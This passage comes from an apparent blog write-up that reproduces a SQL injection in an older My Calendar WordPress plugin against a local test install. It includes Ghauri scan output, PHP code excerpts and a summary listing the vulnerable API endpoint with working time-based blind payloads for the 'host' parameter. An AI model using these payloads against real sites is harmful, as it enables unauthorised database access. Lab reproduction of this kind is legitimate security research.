[18:19:30] [INFO] testing MySQL
[18:19:30] [INFO] confirming MySQL
[18:19:30] [INFO] the back-end DBMS is MySQL
[18:19:30] [INFO] fetching current user
[18:20:25] [INFO] retrieving the length of query output
[18:21:26] [INFO] retrieved: 11
[18:21:56] [WARNING] Ghauri detected read timout '4' time(s), It is recommended to set high value of option(s) '--time-sec', increase delay between request(s) with an option '--delay'.
Ghauri detected read timeout multiple time(s). Do you want to continue? [y/N] y
[18:44:55] [INFO] retrieved: 'wordpress@%'
current user: 'wordpress@%'After reinstalling the plugin to a later release tag, I found the host url parameter to be no longer vulnerable:
ghauri -u 'http://127.0.0.1:8080/?to=2026-09-12&from=2026-08-13&mc-api=json&author=1&host=2' -p host --level 3 --dbms MySQL --flush-session --technique T
________.__ .__ {1.4.3}
/ _____/| |__ _____ __ _________|__|
/ \ ___| | \\__ \ | | \_ __ \ |
\ \_\ \ Y \/ __ \| | /| | \/ |
\______ /___| (____ /____/ |__| |__|
\/ \/ \/ https://github.com/r0oth3x49
An advanced SQL injection detection & exploitation tool.
[*] starting @ 20:23:18 /2026-08-13/
[20:23:18] [INFO] flushing session file
[20:23:18] [INFO] testing connection to the target URL
[20:23:18] [INFO] testing if the target URL content is stable
[20:23:18] [INFO] target URL content is stable
[20:23:19] [WARNING] heuristic (basic) test shows that GET parameter 'host' might not be injectable
[20:23:19] [INFO] testing for SQL injection on GET parameter 'host'
[20:23:19] [INFO] testing 'MySQL >= 5.0.12 time-based blind (query SLEEP)'
[20:23:20] [INFO] testing 'MySQL >= 5.0.12 time-based blind (IF - comment)'
[20:23:22] [INFO] testing 'MySQL >= 5.0.12 time-based blind (CASE STATEMENT)'
[20:23:23] [INFO] testing 'MySQL >= 5.0.12 time-based blind (SLEEP)'
[20:23:24] [WARNING] GET parameter 'host' does not seem to be injectable
[20:23:24] [CRITICAL] all tested parameters do not appear to be injectable.
[*] ending @ 20:23:24 /2026-08-13/ ghauri -u 'http://127.0.0.1:8080/?to=2026-09-12&from=2026-08-13&mc-api=json&author=1&host=2' -p host --level 3 --dbms MySQL --flush-session --technique T
________.__ .__ {1.4.3}
/ _____/| |__ _____ __ _________|__|
/ \ ___| | \\__ \ | | \_ __ \ |
\ \_\ \ Y \/ __ \| | /| | \/ |
\______ /___| (____ /____/ |__| |__|
\/ \/ \/ https://github.com/r0oth3x49
An advanced SQL injection detection & exploitation tool.
[*] starting @ 20:23:18 /2026-08-13/
[20:23:18] [INFO] flushing session file
[20:23:18] [INFO] testing connection to the target URL
[20:23:18] [INFO] testing if the target URL content is stable
[20:23:18] [INFO] target URL content is stable
[20:23:19] [WARNING] heuristic (basic) test shows that GET parameter 'host' might not be injectable
[20:23:19] [INFO] testing for SQL injection on GET parameter 'host'
[20:23:19] [INFO] testing 'MySQL >= 5.0.12 time-based blind (query SLEEP)'
[20:23:20] [INFO] testing 'MySQL >= 5.0.12 time-based blind (IF - comment)'
[20:23:22] [INFO] testing 'MySQL >= 5.0.12 time-based blind (CASE STATEMENT)'
[20:23:23] [INFO] testing 'MySQL >= 5.0.12 time-based blind (SLEEP)'
[20:23:24] [WARNING] GET parameter 'host' does not seem to be injectable
[20:23:24] [CRITICAL] all tested parameters do not appear to be injectable.
[*] ending @ 20:23:24 /2026-08-13/Earlier there was a function mc_select_host() that was applied to $clhost:
$select_host = ( 'all' !== $clhost ) ? mc_select_host( $clhost ) : '';
/**
* Select host params.
*
* @uses mc_select_author()
*
* @param int|string $host Host ID or name..
* @param string $type context.
*
* @return string SQL
*/
function mc_select_host( $host, $type = 'event' ) {
return mc_select_author( $host, $type, 'host' );
}$select_host = ( 'all' !== $clhost ) ? mc_select_host( $clhost ) : '';
/**
* Select host params.
*
* @uses mc_select_author()
*
* @param int|string $host Host ID or name..
* @param string $type context.
*
* @return string SQL
*/
function mc_select_host( $host, $type = 'event' ) {
return mc_select_author( $host, $type, 'host' );
}But would you look at that, it's actually just an alias for using the mc_select_author() function on the host parameter, i.e.:
mc_auth ──> $clauth ──> mc_select_author($clauth)
│
└── mc_select_author(..., 'author')
mc_host ──> $clhost ──> mc_select_host($clhost)
│
└── mc_select_author(..., 'host')mc_auth ──> $clauth ──> mc_select_author($clauth)
│
└── mc_select_author(..., 'author')
mc_host ──> $clhost ──> mc_select_host($clhost)
│
└── mc_select_author(..., 'host')(Yes, this diagram is from ChatGPT, I'm too tired to think at this point)
Another thing I missed out in mc_author_select_ids() was this:
if ( is_numeric( $key ) ) {
$add = absint( $key );
}
...
$auths = implode( ',', $authors );
$select_author = "AND $data IN ($auths)";if ( is_numeric( $key ) ) {
$add = absint( $key );
}
...
$auths = implode( ',', $authors );
$select_author = "AND $data IN ($auths)";absint() is an absolute integer conversion. Here, it would basically strip everything down to digits and return a plain int (or 0). i.e.: absint("1 OR SLEEP(5)-- -") would return1
So then why is host vulnerable, but author is not? Short answer: I haven't figured it out yet. I suppose there is something else in the code that I've missed out, but this is a long article, and if you're still reading props to you man. We've basically spent a long time chasing after a parameter that was not the actual injection point, eventually find the actual injection point, but not know why (yet).
So to summarise, there are a few details regarding this vulnerability that were not originally documented in the vulnerability report:
- The My Calendar exports API needs to be enabled in the dashboard by the admin, this is not enabled by default.
- The injection point is found in the api endpoint: http://127.0.0.1:8080/?to=2026-09-12&from=2026-08-13&mc-api=json&host=1 (The docs say my-calendar-api instead of mc-api, but maybe they're just aliases)
- An outdated version of My Calendar (3.7.8 and below) needs to be installed. I used 3.6.17 here.
- The SQL payload has to be specific. According to the Ghauri scan, a time-based blind (IF-comment) is needed, so this would work:
host=2) AND if(1=1,SLEEP(9),0)-- testbut not this:host=2) AND SLEEP(9)-- test - The trailing text after the dashes are important too:
host=2) AND if(1=1,SLEEP(9),0)-- testandhost=2) AND if(1=1,SLEEP(9),0)-- -works but not this:host=2) AND if(1=1,SLEEP(9),0)--
What I learned here was that instead of digging around the codebase that someone else had written and trying to painstakingly comb through the application with my limited PHP and Wordpress knowledge, it's sometimes better just to take a step back and read up about how the application works through its documentation.
TLDR: Instead of figuring out how it works, just read the instructions
I suppose in cybersecurity, the real skill is being able to read and write well. Maybe in the future I'll revisit this CVE and properly trace the variables in the code again, but for now I need a break my head hurts.